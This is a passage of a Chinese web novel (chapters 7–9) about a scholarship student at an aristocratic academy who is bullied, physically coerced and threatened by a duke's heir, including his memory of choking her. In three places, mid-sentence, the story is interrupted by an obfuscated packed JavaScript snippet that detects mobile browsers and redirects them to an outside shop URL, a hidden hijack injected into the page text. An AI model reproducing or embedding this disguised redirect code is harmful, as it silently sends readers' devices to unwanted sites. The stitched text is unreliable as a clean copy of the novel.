《贵族学院里的万人嫌》 7. 007. 司机在校门口停下,季殊下车后往弗兰德正门走去。 正门门口是一片林荫道,不远处有个小型服务区,三三两两的豪车和超跑停在路边。学生们穿着弗兰德的校服,佩戴着银灰色的雌狮徽章,背着奢侈背包,结伴朝着入口走去。 越是靠近学院入口,越能听见耳语和嬉笑声,偶尔伴着一两声口哨。校区内耸立着的大楼玻璃折射着阳光的光泽,漫射在枝叶遍布的林荫道上,鞋跟接触地面的沙沙声清晰可闻。只是这片刻的静谧被几乎撕扯着耳膜的噪音硬生生划开。 引擎声的轰鸣划破了清晨。 原本轻声细语也逐渐变得像是一锅沸水一样,嗡地沸腾起来。学生们不知从哪里钻出来,迅速朝着入口处汇集着。 季殊还没走到自己教室所在的校区,为了避免被喧嚣推搡,她进入了最近的一栋教学楼,从甬道下来的学生也挤挤攘攘,人潮险些把她推出去。 她挤上了二楼,往外看去。 原本还拥挤不堪的林道如摩西分海一般分出一道清晰的沟壑,人群乖觉地分散到两旁,中间留出宽敞的通道。 通道的尽头停着一辆极尽奢华的超跑,也是刚刚噪音的来源。银粉色的车后车牌上公爵徽章的标志让它更加煊赫显眼,惊叹声接二连三地响起,直到车门被推开,喧嚣声才顿了一顿,紧接着是更加沸腾的叫声和灼热的视线。 那少年身着校服,染的粉发在阳光下现出妍丽的光泽感,衬得他肤色冷白。他上挑的眼尾漫不经心地勾着,眼神兴致缺缺地划过人群,似乎在寻找着什么一般。他双手插在兜里,领带松散地打着,修长笔直的双腿率先出了车落地,微微使劲便起身,保镖在身后恭敬地合上车门。 小公爵大病初愈后回校上课,慰问的人自然是多。 只是人群的尖叫和嘈杂声让季殊很不舒服,她从二楼看下去,乌泱泱攒动地人头像是沙丁鱼罐头一般,而中间的陆明熙便像是大鱼,在鱼群中万众瞩目。 季殊看着那张脸,忽然又有点儿反胃。不巧的是那张脸正好抬起了头,视线上转,捕捉到了二楼窗口的她。 他饶有兴味地看着季殊,挑了挑眉,似乎是故意的一般,侧了侧秾丽而轮廓分明的脸颊,露出碎发下脖颈处的一小片纱布。 季殊扒着窗口,迎上他的目光,呼吸一滞。她避开他的视线,感觉到牙根发痒。 人群很快发觉了陆明熙集中的视线,追着他的目光刷刷朝着二楼的教学楼望来,却什么也没看见。 季殊躲得很快。她离开窗口,贴着墙壁,缓缓呼出一口气。她低头看了看时间。 就这么一小会儿已经过去十五分钟了,原本还想趁着今天早先去教室。 季殊想下去二楼,却已经听见外边涌动的人潮声。她抓着扶手,稍稍犹豫,又转身往上走,不巧撞上一个人。 少年比她高出一个头,肩宽腿长,穿着敞开的制服,制服下套着一件灰色的无logo连帽卫衣,拉上了宽大的卫衣兜帽,兜帽下又戴着一顶鸭舌帽,帽檐压得很低,让人看不清他的脸,只能看见线条分明的白皙下颌和耳廓边垂下的灰色碎发。 少年手快地扶住她,季殊愣了一愣,反应有点慢地回了声“谢谢”。 他抬了抬下巴,算是回应。 见季殊还想往上走,他又伸手轻轻用冰凉的手背碰了碰她的手臂。 季殊不明所以,便见他的下颌微微朝右划出一个弧度,碎发随着轻轻晃动。 “……你知道离开这栋楼的其它近道?”季殊问。 帽檐轻轻一点,随后转身,双手插在口袋里抬腿上楼。 他走得轻快,一步跨两个台阶。季殊听见楼下接近的人群声,还是决定相信这个好心的声障同学,小跑着跟上了他。 他走得快却不急,像灵巧的猫一样,穿行在复杂环绕的教学设施间。季殊跟着他,一边在手机上查自己的定位,眼睁睁看着自己的定位不知怎的就从迷宫似的A03滑到了B区附近。 少年最后把她带到了A区边缘的栈道旁。 栈道由玻璃制成,设置为学生们的休憩区域,摆放了白色的遮阳伞、咖啡桌和长椅,上面有槲寄生搭建的拱形门,顶上则有培育的温室花园,在明暖的阳光下散发着淡淡的植物清香。 从栈道过去,便是B区的教学区域。季殊的教室在B07,接下来的路她可以自己找。 “谢谢……”感叹完A区的绕,季殊一转头,连句道谢都没来得及说完,少年幽灵似的身影不知已何时消失不见。 - 季殊比预想中到教室还要更早一些。 或许是因为昨天的事,尽管仍有不少人对她投来异样的眼光,但是却没有多少人再来招惹她。 季殊去储物柜收拾好自己的东西,便回了位置上学习。 没过多久,门又被推开,有些嘈杂的教室小小安静了一会儿,那脚步声随性而懒散地晃到自己的位置上,甩下背包,往椅背上一靠,几个跟班便附庸似的跟过来抢着为他收拾东西。 季殊假装什么都看不见也听不见,pencil在屏幕上划得飞快。 那身高腿长的身影往后一靠,后位的桌子便被翘起来一大截。坐在陆明熙后位的男生涨红了脸,小心翼翼地把桌子往后拉,给小公爵的椅子让位,自己的座位可活动区域变得逼仄狭窄也不敢怒不敢言。 “小公爵,昨天怎么请假了?病严重吗?” “脖子受伤了?还好吗?” “我母亲是市医院院长,负责皮肤外伤科,专门研究疤痕痊愈。小公爵要不要去看看?” 陆明熙倚着椅背,翘着腿,伸展着身体,一边刷着手机,把教室过出了度假胜地的感觉。他从手机屏幕上看见坐在斜后方、隔着一个过道的女生身影。她正埋着头专注着自己笔下,似乎对这边发生的事半点兴趣也没有。 陆明熙不觉有点儿烦,开口也带了几分嘲意:“伤不严重,就是去了医院一趟。” 他摸了摸脖子上的纱布,意味深长,“狗咬的,不痛不痒,伤口不深,估计留不了疤。用不着专门去。” 几个人纷纷笑起来,称赞小公爵的幽默感。 没过多久,上课铃响起,教室里零散的人纷纷回了座位。季殊好像刑期结束一般松了口气。 王景夹着课本教案慢吞吞走进教室,开始讲课。几个人的眼皮立刻条件反射一般打起了架。 季殊却总觉得这个上午过得太平静,尽管遇到了一些小意外,但是也都成功化解,顺利得简直有点儿不正常。 看着斜前方明目张胆在课桌下划手机的身影,她的心头不好的预感逐渐浮现。 季殊伸手在课桌里摸到手机,消息栏中安静地提示着一条新消息。 【引起王景注意。】 季殊:“……” 她用力攥了一下手机,埋下头,在心底挣扎了一番,开始小声咳嗽。 “咳、咳咳。” 安静的课堂上,原本只有粉笔刷刷声,突然的清咳声十分突兀。其它学生纷纷投来注意的目光,季殊如芒在背。 直到粉笔声停止。 轻微的“咔嚓”声,粉笔头断了,簌簌的粉末落下。季殊头埋得更低,恨不得藏进课本里。 “一些同学是对我有什么不满吗?”讲台上的王景慢吞吞地转过身来,教室里的气氛瞬间拉紧、凝滞,连带着空气中弥漫的困意也消散无踪, “总是在我的课上特立独行,是对我的授课方式有异议?” 所有人的瞌睡这下瞬间消散,提起一百倍的精神,视线纷纷在季殊和讲台两者间打转,兴致勃勃地围观这场突发事件。 季殊第一次尝到引人瞩目的滋味,脸色有些发白。她竭力装作淡定,拿起笔在课本上勾画,但是不出意外,她很快被王景点名。 “季殊同学看起来似乎脸色不太好啊,生病了还坚持来上课,精神可嘉。”王景慢悠悠道,“那就先上台来做一下这道题吧。” 他说着,做了一个“请”的姿势,压根没给季殊拒绝的余地。 季殊缓缓站起身,很快听见从教室各个角落传来的窃笑耳语声,连绵不断。 “她完了哈哈!这题的原型是上次模考的压轴,班上就没几个做对的。” “我之前给我的数学系家教看过这题,她说拿个公式分就算了,别想着在有限的时间里做出来。” “昨天不是还神气得很,弄得大家都下不来台,她以为自己是谁?我要是她就从此谨言慎行,像个虫子尸体一样安静。” “谁叫她惹了小公爵?” … “大家安静!”王景呵了声,话却没什么威慑力,“给季殊同学一点思考的空间。” 季殊走上讲台,一边冷静地思考题目。这题有些难度,但是她在课前过了一遍模考的错题,现在的变式虽然需要些举一反三,但也不是不能做。最重要的是稳住心态,把那些话当作耳旁风,专注思考眼前的题。 她拿起粉笔,略一思索,很快沉稳落笔。 “沙沙”声响在班上,随着时间的拉长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959690|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本的讥笑声竟然逐渐消沉下去。 “喂,不是吧……” “她竟然真的在做?还写了半个黑板?” “这个思路是什么,我完全看不懂。她不会是在瞎写吧?” 书页冷静翻过的声音打断了讥嘲声。谢周霖合上笔盖,将稿纸折叠,笃定道:“不是瞎写。” 他说,“她写的是正确答案。” 周围的怀疑声瞬间消散。没人会怀疑学生会首席的话。而在谢周霖落笔不久,季殊也慢慢放下了粉笔,吐了一口气。 她并没有急着展现自己的完成,而是开始从头检查了一遍。 台下原本坐姿松散的人也缓缓收回了翘起的腿,陆明熙皱起眉,尽管拿着手机,注意力却半分不在屏幕上,而是眼神凝着台上的女生。 她身材清瘦,脊背挺拔,制服裙下双腿笔直纤细,垂落的黑发间露出的一截嫩白色的脖颈,扣着衬衫纽扣和领结,随着动作,黑发在她的耳边晃动,乌黑而柔顺,像深海之下轻摇浅曳的海藻。 陆明熙忍不住握了一下手掌。 他回想起那天昏暗的杂物间中,她鲜亮的唇角和他掐住她脖子的触感。柔软但坚韧,几乎令他心悸。大概有这么……细,一只手可以握住,收紧的时候,能够感觉到动脉中温暖的血汩汩流过时的轻跳和生机。 陆明熙不觉目光沉沉地盯了她很久。 那身影在沉思、书写和检查时都保持着安静。直到她确信无误后才开口。 “老师,我完成了。” 季殊放下粉笔,礼貌开口。 王景早在她检查的时候便看完了她的解题过程,他一边满意地点头啧声,一边咳嗽着彰显出自己对她的宽宏:“做得不错,思路清晰,过程简洁明了,还用了几个我们暂时没有细讲的公式——你先回座位吧,下次有问题可以直接说出来,不要在讲台下净搞些小动作。好了,现在我们来分析一下季殊同学做的这道题……” 季殊安静地回了座位,教室里的学生鸦雀无声。 他们确实没想过季殊能做出来这次的题目,让他们先前的质疑都成了笑话。王景最是古板,人又挑剔,能让他金口吐出称赞的话,难如登天,除了答案正确之外,解题的过程也必须逻辑严密、完美无缺。 而季殊做到了这点。 不忿的嘘声错落响起,有人坚信她是被透了原题,也有人不以为意。但他们的共同点是,没人再在这次的讲题中眼皮打架、昏昏欲睡。 王景也难得的兴致高昂了一些。平日里他的课远远望去就像战场一样,趴倒一片,今天难得的全员精神都不错,看起来请人解题效果太好,连带着对向来看不顺眼的季殊都改观了一些。他记得她原本成绩一般,这次的难题却能做成这个样子,想来自己私底下也是下了苦功夫—— 只是这种想法才刚刚升起来不久。 “叮咚!” 清脆的消息提示音打断了他的讲题。 虽然在他的课上偷偷玩手机正常,但是明知他古板守旧还开出大音量的消息提示音——从没有人做过这么明目张胆的事。 全班惊恐又不可思议的视线纷纷投过去。刚坐下不久的女生面无表情地站起身来,拿着屏幕逐渐暗下的手机。 “对不起,老师。” 那是新的命令。 【激怒王景。】 折断的粉笔擦着季殊脸颊的旧伤过去,雪白的粉尘粘在她的脸颊上和黑发间,划出淡淡的痕迹。 “季殊,别以为你做出来题目就了不起——把手机收起来,去教室前门口站着听课!”王景罕见地真的动了怒,向来慢吞吞的性格竟然吼了学生。 季殊没说一句怨言。她转身带着手机走向储物柜,先锁了手机,才绕向教室前门。 只是在经过那个身影时,她听见一声冷漠的嗤笑。直到她走远,离开了他们座位之间的那个过道,她也依旧能够感受到他紧紧黏在她背上的视线,阴冷而带着不散的警告意味。 那是猎豹捕食前夕的盯梢。 而偌大的雨季草原上,围观的其它动物们则乐见其成。不怀好意且落井下石的眼神淹没了她。 但季殊假装什么也没感觉到,淡定地离开了漫溢着同级生恶意的教室。 陆明熙眉头紧蹙,他眯着眼睛锁住那个身影,脸色晦暗不明。 除了季殊之外,只有他知道,他给了季殊两个选择。 【激怒王景,或者放课后来见我。】 【选一个。】 而她没有选择后者。 8. 008. 季殊就这么在门口一直站到了下课。 直到铃声响起,她才稍稍靠在墙壁上,抵着有些发麻的小腿,舒了一口气。 长达几个小时的大课终于结束,铃响的一瞬间,教室里如一锅沸水一样,隐隐嗡鸣。 眼看着王景离开教室,路过她时冷哼一声,季殊装作面色无虞,立刻准备紧随其后,离开教室。但晚了半步,她很快被身后走路飞快的女生们扯住。几个画着精致妆容、涂着美甲的女生“诶诶”叫着伸手拦着她,面色有些不耐烦。 “站住,小公爵叫你过去老地方。” “跑得倒是快,但是跑得了吗……还不如乖乖受着。” 季殊抿了抿唇。她返回教室收拾东西,看见陆明熙那明显活动空间大出其他人许多的位置已经空了。 她慢慢往记忆中的老地方挪去。那杂物间实在给她留下了太多痛苦的回忆,仅仅是在她穿过来之前那些残留在她记忆之中的,每回想一次,她都会冷汗淋漓。 只是这次似乎稍微不同。 杂物间外面靠墙站着几个嬉闹的男生,虽然东倒西歪笑嘻嘻的,却贴在门口没离开一步,像是站岗似的。 她才接近杂物间,阴影中便伸出一只大手将她扯了进去。门在她身后合上,光线一点点散去,阴影覆盖了她。少年高出她接近两个头,将她抵在墙角,低身俯下来的时候,几乎遮住全部的光线,影子整个罩住了她,她的世界几乎变得完全黑暗。 季殊下意识瑟缩了一下。 “哼,你倒是还知道怕。”轻轻的鼻息扫在季殊颈侧,酥酥麻麻,激起一阵鸡皮疙瘩。季殊忍住自己想要打哆嗦的冲动。 陆明熙突然的接近让她的鼻腔里重新盈满了那股侵略性的香水气息,它似乎和那张脸绑定在一起,让她生理性地反胃。季殊微微侧着头,不敢去看他的脸,同时也透过缝隙看见,他的身后似乎没有往日里的那些跟班。 ……今天只有他? 季殊一晃神的功夫,陆明熙就已经不满地掐着她的下巴把脸掰正。他的力气很大,季殊感觉到短暂的钝痛,浅粉色的头发和那张秾丽漂亮的脸很快侵占了她全部的视线,正面的香水气息更分明地灌入她的鼻腔。季殊竭力忍住胃里的翻涌。 陆明熙则另一只手按着她的手腕,压低自己的身体,把她圈在墙角,仔仔细细审视她的脸颊。她看起来有些慌张和害怕,但是抿着发白的唇,努力表现出冷静淡定之色。他挑了挑眉,悠闲开口:“听说你昨天很神气?” 季殊:“……” 她硬着头皮回答,“没有的事。” “江兆明说你在体育课上拿球砸了很多人。” 季殊努力抑制自己想回避的视线:“那是……测试需要。” “测试需要?” “对。” 狐疑的神色打量着季殊的表情。陆明熙没多说,按住她手腕的那只手下移,扣住她的小臂,扯开了她的袖扣。季殊被吓了一跳,就看见他单手轻而易举卷开了她右手袖子,露出里面条条青色淤痕。 他随便捡了一处,覆上拇指,稍稍用力一按。 季殊疼得抽了口冷气,蹙紧秀气的眉头。 陆明熙欣赏着她的反应,哼笑着挑眉开口:“这也是测试需要?” 被他按着的那块皮肤很快发热起来。随着疼痛和接触的皮肤一并发烫。 季殊:“体育项目,负伤很正常。” 她觉得被他按压的淤青处简直烫得有点受不了,试着微微抽了抽手,竟然挣脱了出来。 陆明熙压根没怎么用力,他垂眸看着她飞快理平衬衫和制服,扣好袖口,声音又脱口而出。 “那负伤后被首席送去医务室,也是测试需要?” 季殊懵了一瞬。 他在说什么? 她忍不住抬头,看向陆明熙的眼睛。不知是不是错觉,他的神色有一瞬的晦明,只是很快神情染上兴味和居高临下的质询。季殊没懂他的意思,尝试在他的表情中寻找解题答案,但题面没有给她这个机会。 “本能想寻找人庇护很正常,只可惜,你这条路走不太通。既然说好了当我的狗,哪有另找主人的道理。你说是不是?”陆明熙在她的耳边压低声音,意味深长地道。 季殊下意识屏住呼吸。他忽然接近时的香气和话中的意味令她越发难以忍受,她忍不住抬起手臂,抵在他的肩膀上,试图把他推远,但因为持久的低烧力道显得软绵绵的,自己的领地被侵略让她感觉到难以言喻的混乱。 “我……对不起,今天状态不好。” 她没去深究他的话,只是忽然明白了陆明熙无端怒意的来源。 她没有选择他想要她选的那个选项,而是另选了自认为便捷的那条。 她违逆了他的心意,蔑视了他的权威。 “状态不好?”小公爵尾音上挑。 “对。”季殊没解释原因,她不想说关于自己家里的事,只是尽量让自己的语气显得诚恳,以逃离这个让她不得不屏息的场景, “下次不会再选择错误的选项了。”季殊强迫自己去看他的眼睛,缓缓说道,“我会做得更好……希望你能够对我的表现感到满意。” 她不清楚自己是说对了还是说错了话,而陆明熙忽然反手按上她的手背,用力下压,季殊的手骨又烫又疼。她垂下眼睫,克制住自己被浓烈强势的沙龙定制香熏得作呕的本能冲动,从外人的视角看去,两人像是蜜恋中拥吻的人一般。 季殊率先站不住,腿脚发软。她额头和耳根变烫,有点昏昏沉沉的,靠着墙壁往下滑。 陆明熙伸手揽住了她。他低声笑了笑,那声音听起来像是从鼻腔里哼出来,季殊听不出他到底满不满意她投降似的回答,只是贴着冰凉的地板时忽然清醒了些,扶着墙壁竭力站起来。 她低着头,声音显得闷闷的:“您最好离我远些。” 她捂着嘴,黑发垂下,遮住苍白的脸颊,补充道,“……为了您的衣服着想。” 陆明熙压着唇角,很明显地避让了些距离,只是没再为难她。季殊抽回被他揽住的手臂,眼看着巨大的身影从面前让开,光终于些微地透进来点儿。门随之被敲响,很快打开。 季殊低着头跑了出去。 趁着还没吐出来之前,赶快去卫生间泡泡冷水,清醒一下。 - 谢周霖看着女生仓皇飞快跑远的身影。 她头发有些凌乱,衣角也有点被揉搓后的发皱,脸色和耳根更是微微发红。 他不易察觉地皱了一下眉,朝室内看去。陆明熙双手插兜,哼着调子,肩膀处的制服有点褶皱,其他地方倒是齐整完好。 “我分明说过让你收敛一点的。”他站在门口,逆着后面的光,冷酷地开口。 浅淡的光线勾勒着他笔挺的制服和黑发,眼镜遮住他眼底的神色。他抬腿走上前,融入屋子的阴霾之中,来到陆明熙跟前。 “我已经很收敛了,”陆明熙眯着眼睛笑着看他,耸耸肩,“我没有逼她退学,也没让她跳楼吧?” 他的语气理直气壮地欠揍,谢周霖按了一下指节,轻微的响动,他点了一下头。 “确实比起从前来是收敛了。”他走上前一步,慢条斯理摘下没有度数的眼镜,别在制服胸前的口袋上,抬起掩饰着神色的鸦黑睫毛,眼神冷冽而带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959691|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着警示,“但你要明白,从前你不在我的班,你怎样我管不到。既然听了公爵的话,决心好好上课,就给我担起你首席的表率。” “我不希望我的班上,传出任何不好的传闻。你能听懂吗?” 陆明熙挑眉无奈,曲着腿后退一步,举起双手,声调轻扬:“投降、投降。” “……” 他今天心情确实莫名不错。放在平时早顶撞或是懒得搭理,今天竟然顺着他的意思来。 “下周一的首席会议也会准时去的,会长大人。”陆明熙插着口袋,弯着眉毛,抬腿往外走,一边对守在门口苦哈哈的几个人抬了抬下巴,几个人如临大赦般离开, “对了,池耀星那小子呢?最近也没见过他,他在忙什么。” 谢周霖看着他玩世不恭的身影,伸手按了按额头,出了一口气,不远不近抬步走了出去:“你少管他。他虽然会议不来,但是任务从没落过。” “嘁。” “下个月你爷爷的寿诞相关的事情准备好了吗?” “你不说我还忘了。”陆明熙一边走一边慢悠悠跟路过涌过来站在走廊两边的投来热切目光的人打招呼,“老爷子的事都是她在办,邀请函之类的应该提前几个月早就写好了。” 两位首席聚在一起,四面八方的学生都涌出来瞻仰,喧嚣热腾的回廊上人络绎不绝,挤不出来的也扒在窗口想努力露脸刷个存在感。 谢周霖一一点头回应那些打招呼的学生:“有公爵在,你还真是清闲。” “反正她也不管我到底怎么样,对她来说我只要不惹事就好。”陆明熙侧目挑眉,“她拜托你的时候,不也是说过差不多的话吗?” 谢周霖眉头跳了一下,移开话题:“最近,你好像没怎么去找那个特招生。” 陆明熙的步子顿了一下,落到和谢周霖并排。他似乎在回想,紧跟着“哦”了一声,鼻音哼笑道:“是有些冷落了,她性格其实还蛮有意思的。” 谢周霖:“她泼你酒的时候你也是这么说的,搜刮来她初中的信息,还为了她——” 后面的话他没说,但是指向性已经很明显了。 说话间,两人已经绕去学生会首席的专属私人餐厅和休息室。首席自助餐厅位于A区和B区之间玻璃顶的天台上,葱郁的露天温室花园中,草叶清香和食物的香气混合在一起,明媚的阳光透过草叶间隙洒下,自助的厨师在此等候许久,只等他们落座后递呈菜单。 陆明熙双手背着环在颈后,无所谓地说道:“她跟我以前交往过的女生性格都不太一样,所以我乐意给她出头。不过说到底,也就是乐子而已,洁身自好的会长什么时候连这种事也在意了?” “你如果不是认真的,最好尽快撇清。”谢周霖冷冷说着,一边落座,“不要等到论坛疯传流言时再后悔,让公爵看见就晚了。” “又不是大事,”陆明熙不在意地挥挥手,倚在椅子上,单手翻动着菜单,兴致缺缺地左顾右盼,咦声道,“真是出奇了,池耀星这家伙平时不爱说话,怎么连饭也不吃的吗?这个点连个人影都没见到。” 谢周霖懒得再搭理他,低头拿出钢笔勾选菜品。忽然间陆明熙发现了什么,透过透明扶栏朝着楼下看去,离奇道:“那是那个小子吧?他在楼下干什么?” 谢周霖顺着他的视线望过去。 楼下是连接A区和B区的学生休息区,午餐时间,人员稀少。微风轻轻吹过,垂下的枝条便随风浮动,像一片绿意的海洋。 而在玻璃栈道上,被宽大卫衣罩着的少年坐在槲寄生下的白色长椅上,不知在回想些什么,看着绿叶掩映间洁白清丽的小花发呆。 9. 009. 这边季殊好不容易逃过一劫,急匆匆赶去食堂吃了一顿午饭。 她去得晚,食堂已经没多少人了。她也没多少胃口,随便吃了点。弗兰德的食堂贵得吓人,她选了几个素食,刷卡的时候甚至都怀疑自己是不是看错了小数点。 食盘旁边会有标识牌,打印着菜品名、原材料和产地。有一部分是国外空运过来的新鲜食材,但季殊吃起来感觉区别并非很大,任何食物落在她的口腔里都显得干巴巴的。 她听见隔壁桌有小声感叹的声音:“天天来食堂吃,不知道什么时候能偶尔撞上一下首席就好了……” “做什么白日梦呢?首席有自己的独立自助餐厅,怎么可能会来食堂吃饭?” “想一想嘛。之前不是听说某次小公爵就心血来潮来咱们食堂吃饭了,正好撞上那几天部分菜品面向特招生折扣,人可多了……对了,我记得还有个特招生不小心把酒水洒到他的衣服上了呢。” “那件事不是过去好久了。而且我怎么记得那个特招生是故意的?” “学校论坛上有那件事的存贴,我回去找找。我记得那个特招生是叫阮什么的来着……” 季殊没听下去。 她放回食盘匆匆离开,跟着导航去往下午选修课世界古典音乐鉴赏的教室。 这节课的老师是国外音乐大学毕业的老教授,在弗兰德教这门课十几年,退休后又被返聘,在学生中风评好,为人温和、给分又松,因此每年她的课都十分难抢。 教室在A区08教学楼,她绕了好久,来得早,提前选了个靠前排的位置。她简单复习了一下这门课的知识,然后拿出了Mac,补起了正课的笔记,还稍微小憩了一会儿。 等到醒来的时候,已经有陆陆续续的人来到教室了。季殊揉了揉手臂,不知道什么时候,教室里的空调被打高了几度,没有她睡之前那么凉。 她向后环视了教室一圈,看见的都是陌生面孔,最后一排还有个跟她一样,戴着帽子趴在桌上睡觉的人。 没过一会儿,教室里人越来越多。阶梯教室几十排桌椅,喧哗声响起,学生们选座落下,逐渐把最后一排少年的身影遮住。季殊便转回头来,再一看,自己身边不知什么时候坐了个陌生女生。她的脸圆圆的,扎着马尾,脸颊浅粉,看起来很是活力。 季殊默默收起电脑,摘下耳机。上课前,班级里响起一阵沸水一般的喧闹惊叫声。季殊抬起头一看,原来是谢周霖。他和几个学生会的男生朝着里边走来,季殊立刻把课本立起来挡住脸,仍然听见离这边越发近的脚步声和人群的骚动声。 她回头一看,身后几个男生占好了座,正朝着学生会的人招手。 “有权力真是好,来得晚还能占到那么好的位置。”身边的圆脸女生酸溜溜地小声说。 很快,身后响起了椅子拉动的声音。季殊能够清楚地听见他的脚步声,比旁人稍微沉稳些,在她的斜后方坐下。 “会长,小公爵今天又不来?”有人一边哗啦啦拿课本一边问道。 谢周霖:“看他什么时候睡醒。” 旁边松快的笑声渐起。 “这种天气,吹着空调睡觉最好不过,谁想来上课?不过也就只有小公爵,敢把咱们想的做成真的。” 季殊听见陆明熙不来,心情也不觉放松了点儿。她开始翻课本,老教授也姗姗来迟。 她头发银白,但依旧精神矍铄,一点儿不显疲态,笑呵呵地走上讲台,熟练地操作电脑和显示设备。 “看起来比期末周的我年轻。”圆脸女生依旧悄悄吐槽。 教授很快开始点名。一百多号人的大厅点名花了些时间,在点到季殊的时候,身旁的女生顿了一下,转过头瞪着她睁大了眼。 “你就是季殊?” 季殊不明所以“嗯”了声。 女生乐了:“你不知道?每次上课只有点到你和陆明熙的名字才没人应答,大家还以为你跟小公爵沾亲带故呢。” 季殊不知道该说什么。她默默地把头转过去,埋进课本里。上了没一会儿课,女生又悄悄捅她手臂:“喂,季殊,我看你有点儿眼熟。” 她盯着她看了好一会儿,忽然兴奋起来,两眼放光,“你是不是之前论坛上传的视频里那个一个人一组在躲避球测试里把所有队伍打出局的那个女生?” 季殊不敢回答。女生却丝毫没有坐在第一排的自觉,她从书包里掏出手机,飞快滑进论坛,翻起了自己的收藏贴,点进一个无声视频,从课桌下递给季殊:“看看!”她惊喜地压低声音,“这个是你吗?就是你吧!!” 季殊瞥了眼。 那条视频上确实是她那天在体育场测试时被录下的视频。视频从测试中后段开始录起,视角歪歪扭扭,像素也不是很清晰,从体育场顶上落下的光显得她的肤色苍白得像鬼一样,测试结束后不久她就倒了下去,被从背后伸出的一双手接住,然后视频骤然掐断。 季殊一怔。 ……那天站在她身后的,只有谢周霖。 她忽然想起来上午陆明熙说过的话。 难不成是谢周霖送她去的医务室吗? 季殊很想否定这个荒诞的猜测。她现在感觉有点儿如芒在背。 对方就坐在她的身后,她只能祈祷前排的小动作没有引起他的注意。 事实是,大概确实没有引起他的注意,倒是让老教授注意到了。 头发银白色的老人笑眯眯地点了点圆脸女生的课桌,让她读一下她刚才讲解的段落。 女生支支吾吾,把手机塞进桌肚里,红着脸,不知该如何开口。 季殊也回了神,还好她刚才听了点,悄悄地用笔点了点P129的图3外语文字解说。女生注意到她的小动作,很快捧着课本大声读起来,遇到不会的单词也就着错误的读音往下读,引笑了一大片人,使刚刚稍微紧张的氛围得到缓解。 老教授也忍不住笑起来,挥挥手:“坐下吧,好好上课。” 女生如临大赦。她转头感激地对她说了声“谢谢”。 没过多久,教授便布置了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959692|136755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音乐鉴赏的期末作业。这期期末的作业和以往的论文不同,选择了小组作业的形式,每位同学需要自发地组成音乐剧剧组,排演音乐剧,并在期末进行舞台表演,以考核评分作为期末成绩。 教室里骚动起来,像一壶沸腾的热水呜呜顶着盖子,大多数同学表情高兴又惊喜。 季殊有些疑惑,旁边的圆脸女生又探头探脑过来解释:“教授以前就喜欢这种形式作为期末考核,根据以往的学姐经验,只要参与了期末考核、出演了剧目,哪怕是演一棵树,至少也能拿到B+的分数呢!” “原来这样。”季殊心道怪不得这门课难抢。 尽管她缺勤请假次数多,努努力,似乎也可以拿到一个不拖后腿的分数。 很快,老教授在投影上展示起了期末考核可选剧目。她笑眯眯地说道:“从这周开始,每个周末都会在学校A区的剧场播放这些剧目的官摄,大家可以挑选自己感兴趣的前往观看。在下个月之前,每位同学将自己的小组和选择剧目上报给谢周霖同学汇总,确认无误后,就可以开始自发排练了。” 女生拍下来可选剧目,为难地道:“完全没有看过呀。季殊,你有什么意向吗?” 季殊半真半假道:“不知道。大概就像你说的,演一棵树吧。” 话音刚落,她听见后座传来笑声。她一回头,看见几个嬉皮笑脸的男生,谢周霖正在旁边低头认真做着记录,神情专注,掩下的睫毛遮住眼瞳,削薄的唇微抿,似乎对这边发生的动静充耳不闻。 女生帮忙道:“笑什么!再笑把你们的耳朵拧下来。” “那我只好去演《梵高》了。” “哈哈,我估计得好好挑一个不用背台词的角色。会长一起去这周的剧场播放吗?” “你忘记会长得准备下周的首席会议了?” “——瞧我这记性!我回去就发邮件通知一下组里的成员记录和汇报的时间。” “不过说起来,我记得会长的父亲以前也是世界巡演的音乐剧剧组演员来着?对这方面应该相当擅长吧,真期待啊……” 季殊回过头来。 老教授依旧在讲台上说着注意事项:“选组和排演的时间相当宽松,所以同学们可以在充分的考虑之后再做出决定。另外,学校图书馆的年鉴表区域里,有往届学长们的汇演录像带。有兴趣的同学可以借回家观摩……” 不久之后,下课铃声响起。 季殊站起身,被人群推搡着一同离开座位。 她听见后座学生会成员传来叹息声:“小公爵果然一直到下课都没来呢。” 季殊的手机也一直没有消息提示音传来。看来这人果然是只有睡觉的时候才会安生点儿。 教授走后,人群自发让开通道,等待学生会的成员先行离开之后,人群才像退潮一般从沙滩上涌动着,缓缓褪去。 季殊忽然想起了什么,她挤在人群里,朝后看去。 先前趴在最后一排睡觉的那个学生,不知什么时候,人影也已经消失不见了。 10. 010. 花了将近一星期,季殊才将数学笔记的全部内容补充完毕。 